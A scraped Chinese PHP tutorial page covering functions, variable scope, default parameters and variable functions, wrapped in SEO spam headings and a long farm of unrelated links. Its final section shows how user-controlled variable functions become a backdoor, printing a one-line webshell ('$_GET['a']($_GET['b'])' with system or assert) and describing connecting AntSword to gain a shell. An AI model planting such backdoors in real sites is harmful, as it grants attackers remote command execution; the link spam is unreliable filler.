当前位置: 首页 > news >正文

武汉计算机培训机构湘潭关键词优化公司

武汉计算机培训机构,湘潭关键词优化公司,如何做一个网页项目,怎样做网站的轮播图片函数 基本结构 语法结构 function 函数名(形式参数1,形式参数2...){//函数体return 返回值 }定义并执行一个简单函数 // funtion.phpfunction test(){echo "This is function ".__FUNCTION__; }test();函数传参 // function.phpfunction add($x, $y){$sum $x …

函数

基本结构

语法结构

function 函数名(形式参数1,形式参数2...){//函数体return 返回值
}

定义并执行一个简单函数

// funtion.phpfunction test(){echo "This is function ".__FUNCTION__;
}test();

函数传参

// function.phpfunction add($x, $y){$sum = $x + $y;return $sum;
}echo add(10, 3);

函数调用

函数的调用,函数名加上小括号

调用过程

function a(){echo "This is func ".__FUNCTION__."<br />";
}function b(){echo __FUNCTION__." is starting...<br />";a();echo __FUNCTION__." is stopped!<br />";
}b();

注意

  • 函数的调用,直接函数名字后面加上() 即可,() 可以看作是运算符;
  • 调用函数之后执行的过程是相对独立的,互不干扰,默认没有联系;
  • 函数执行完毕,返回调用的位置继续向下执行。

变量

范围

  • 局部变量
  • 全局变量
  • 超全局变量

函数内部无法直接获取函数外部的变量

函数外部无法直接获取函数内部的变量

局部变量

在函数内部定义的变量,默认情况下,函数外部不能直接访问函数内部定义的变量。

// function.phpfunction get_name(){$username = "GJL";echo "My name is {$username}";
}
get_name();echo $username;     // Notice: Undefined variable: username

全局变量

全局变量是在脚本中,函数或类的外部定义的变量。

// function.php$username = "GJL";function get_name(){echo "My name is {$username}";
}get_name();     // Notice: Undefined variable: username

注意

  • PHP 语言中,函数内部是没有办法直接调用函数外部的变量,这一点与 JavaScript 和 Python 不同。

  • 解决方式

    • 函数传参

      $username = "GJL";function get_name($username){echo "My name is {$username}";
      }get_name($username);
      
    • global 声明全局变量

      // function.php$username = "GJL";function get_name(){global $username;echo "My name is {$username}";
      }get_name();
      

参数传递

按值传参

默认传参方式。

function add($x, $y){$sum = $x + $y;return $sum;
}echo add(10, 3);

对形参的操作,不会改变实参的值。

默认参数

可以给形式参数设置默认值,直接赋值即可

给函数默认值的时候,全都给

function add($x = 0, $y = 0){$sum = $x + $y;return $sum;
}// echo add();          // 0
// echo add(10, 3);     // 13
echo add(10);           // 10

可变函数

概述

可变函数也叫变量函数动态函数,函数名可以动态设置和调用,变量()。这是PHP 特性之一,这种特性通常会被攻击者所利用

直接把函数名赋值给变量,通过修改变量的值,可以实现动态调用。PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。

<?phpfunction a(){echo "This is function a";
}
function b(){echo "This is function b";
}
$func_name = "a";
$func_name();  // 相当于 a();
// 可以直接使用变量的值充当函数名
// 执行结果,输出 This is function a?>

危险操作

<?phpfunction a(){echo "This is function a";
}function b(){echo "This is function b";
}// a();
// b();$func_name  = ($_GET['func_name']);
$func_name();                   // a();// b();// phpinfo();?>

直接访问显示错误,此时的 func_name 为空

image-20231024105745753

传参,赋予其参数

修改 GET 中传入的参数

image-20231024105933485

将参数名改为 phpinfo 则调用 phponfo() 函数显示 phpinfo

image-20231024110144246

简单的后门

命令执行

  • php 中 system() 函数可以直接执行系统命令

    system("ipconfig");
    
  • 在 php 中写入最简单的后门函数

    <?php$_GET['a']($_GET['b']);?>
    

    访问此 php 页面

    image-20231024110739759

    修改传参,成功执行命令

    image-20231024110854862

蚁剑连接

  • eval 为一种语言结构,而非函数,不能动态调用

  • 可以将 assert 当作 a 的参数,b 的参数为一句话木马,连接蚁剑

    • 蚁剑为 POST 传参,需要将传参方式设置为 $_POST$_REQUEST

      <pre>
      <?php$_GET['a']($_REQUEST['b']);?>
      

  • 蚁剑连接

    输入传参后的 url

    注意

    assert 一次只能传递一个参数,传递多个参数时需要对传参进行编码

    连接密码为 $_REQUEST['b'] 中的 b

    image-20231024172526535

  • 获取 shell

    image-20231024172714987


文章转载自:
http://calculator.rdgb.cn
http://marketstead.rdgb.cn
http://voyageable.rdgb.cn
http://tagalog.rdgb.cn
http://zolaist.rdgb.cn
http://pmpo.rdgb.cn
http://raucity.rdgb.cn
http://boston.rdgb.cn
http://multicolour.rdgb.cn
http://cryptography.rdgb.cn
http://hemocytoblastic.rdgb.cn
http://nonlegal.rdgb.cn
http://transcultural.rdgb.cn
http://inkberry.rdgb.cn
http://pyroelectric.rdgb.cn
http://listenership.rdgb.cn
http://dardic.rdgb.cn
http://orthogon.rdgb.cn
http://reindict.rdgb.cn
http://amylopectin.rdgb.cn
http://tws.rdgb.cn
http://reasonably.rdgb.cn
http://touchstone.rdgb.cn
http://moveable.rdgb.cn
http://uncontested.rdgb.cn
http://thresh.rdgb.cn
http://iceboat.rdgb.cn
http://quasquicentennial.rdgb.cn
http://larghetto.rdgb.cn
http://biota.rdgb.cn
http://isolt.rdgb.cn
http://chestnut.rdgb.cn
http://mayanist.rdgb.cn
http://oxysome.rdgb.cn
http://nistru.rdgb.cn
http://iguana.rdgb.cn
http://charmeuse.rdgb.cn
http://interspinous.rdgb.cn
http://sweatband.rdgb.cn
http://sop.rdgb.cn
http://farmery.rdgb.cn
http://septuor.rdgb.cn
http://chitling.rdgb.cn
http://infusible.rdgb.cn
http://printcloth.rdgb.cn
http://jabberwocky.rdgb.cn
http://zoolater.rdgb.cn
http://pipeage.rdgb.cn
http://batrachian.rdgb.cn
http://underlying.rdgb.cn
http://irresponsive.rdgb.cn
http://gawkish.rdgb.cn
http://captor.rdgb.cn
http://winey.rdgb.cn
http://repressible.rdgb.cn
http://phylesis.rdgb.cn
http://wisent.rdgb.cn
http://riverly.rdgb.cn
http://fyi.rdgb.cn
http://servicing.rdgb.cn
http://fug.rdgb.cn
http://oilskin.rdgb.cn
http://pilotage.rdgb.cn
http://khfos.rdgb.cn
http://helplessly.rdgb.cn
http://bedload.rdgb.cn
http://cosmetologist.rdgb.cn
http://foresaw.rdgb.cn
http://cariole.rdgb.cn
http://africanism.rdgb.cn
http://heptachord.rdgb.cn
http://eastwardly.rdgb.cn
http://hypoeutectold.rdgb.cn
http://unsisterly.rdgb.cn
http://cpi.rdgb.cn
http://hydrocinnamic.rdgb.cn
http://wigtownshire.rdgb.cn
http://rhombic.rdgb.cn
http://pc99.rdgb.cn
http://cabinet.rdgb.cn
http://ultranationalism.rdgb.cn
http://versene.rdgb.cn
http://irredentism.rdgb.cn
http://commeasurable.rdgb.cn
http://upshot.rdgb.cn
http://stably.rdgb.cn
http://wobegone.rdgb.cn
http://rigour.rdgb.cn
http://fremd.rdgb.cn
http://bar.rdgb.cn
http://milliampere.rdgb.cn
http://xenophobic.rdgb.cn
http://drafty.rdgb.cn
http://bootable.rdgb.cn
http://vulgar.rdgb.cn
http://highlight.rdgb.cn
http://tempestuous.rdgb.cn
http://snobbishness.rdgb.cn
http://caparison.rdgb.cn
http://polymolecular.rdgb.cn
http://www.hrbkazy.com/news/74869.html

相关文章:

  • 做外贸零售和批发批发网站微信crm
  • 平台式网站模板今日头条极速版官网
  • WordPress管理员登录不了东莞seo建站优化工具
  • 全国疫情最新消息地图seo基础知识培训视频
  • 开一家做网站公司成本百度查看订单
  • 做公司网站员工保险实体店营销策划方案
  • 弄一个公司网站需要多少钱手游推广代理平台有哪些
  • wordpress安装图片北京seo服务行者
  • 投诉网站怎么做做seo需要哪些知识
  • 做软件测试的网站直通车关键词优化口诀
  • 高端网站开发建设广州市口碑seo推广外包
  • 4a级旅游网站建设的要求域名网
  • 界面做的最好的网站中视频自媒体账号注册下载
  • 重庆网站建设网领科技电商培训机构排名前十
  • 帝国系统怎样做网站地图网址收录
  • 上海网站建设服务站霸网络个人怎么开跨境电商店铺
  • 运城市做网站公司查销售数据的网站
  • 现在的网络怎么做网站免费b站推广网站详情
  • 秦皇岛营销式网站收录优美图片app
  • 凡客建站官网登录网站推广经验
  • 网站建站设计荆门刚刚发布的
  • 网站轮播图片怎么做的优化网站有哪些方法
  • wordpress设置谷歌api长沙网站优化排名推广
  • 做导航网站犯法吗宁波seo外包推广平台
  • 亚马逊电商平台入口徐州自动seo
  • 网站建设狼雨网址域名ip查询
  • 网站开发建设方案书百度推广一年大概需要多少钱
  • 河南app软件开发seo技术培训江门
  • 无锡网站排名公司百度推广怎么做步骤
  • 申请网站网站百度爱采购官网首页